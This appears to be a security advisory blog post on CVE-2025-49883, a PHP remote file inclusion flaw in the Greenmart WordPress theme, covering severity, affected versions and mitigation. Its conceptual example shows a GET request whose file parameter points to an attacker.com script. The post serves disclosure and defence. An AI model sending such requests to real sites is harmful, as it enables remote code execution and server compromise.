Overview
In this post, we dive into a critical security vulnerability identified as CVE-2025-49883. This vulnerability, categorized as PHP Remote File Inclusion, has been found in Thembay’s Greenmart, a popular WordPress theme widely used for building online stores. The importance of this vulnerability lies in its potential to allow an attacker to include a remote file, usually through a script on the web server, leading to possible system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-49883
Severity: Critical (8.1/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
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Product | Affected Versions
Thembay Greenmart | Up to version 4.2.3
How the Exploit Works
The exploit takes advantage of an improper control of filename for Include/Require Statement in the PHP program of the affected application. By manipulating variables that reference files with an ‘include’ or ‘require’ statement, the attacker can control what file is executed at runtime. Consequently, the attacker can include a file from a remote host that contains arbitrary commands, which are executed by the vulnerable script, leading to a full system compromise.
Conceptual Example Code
This conceptual example demonstrates how the vulnerability might be exploited using a crafted HTTP request.
GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.comIn this example, the attacker is able to include ‘malicious_script.txt’ from their server into the ‘file’ parameter of the ‘index.php’ file. The malicious script could contain commands that allow the attacker to gain unauthorized access, manipulate data, or cause a denial of service.
Mitigation Guidance
To mitigate this vulnerability, it’s recommended to apply the vendor-provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can potentially detect and block attempts to exploit this vulnerability. It’s also a good practice to restrict input on ‘include’ or ‘require’ statements in the PHP program, and avoid using user input directly in file references.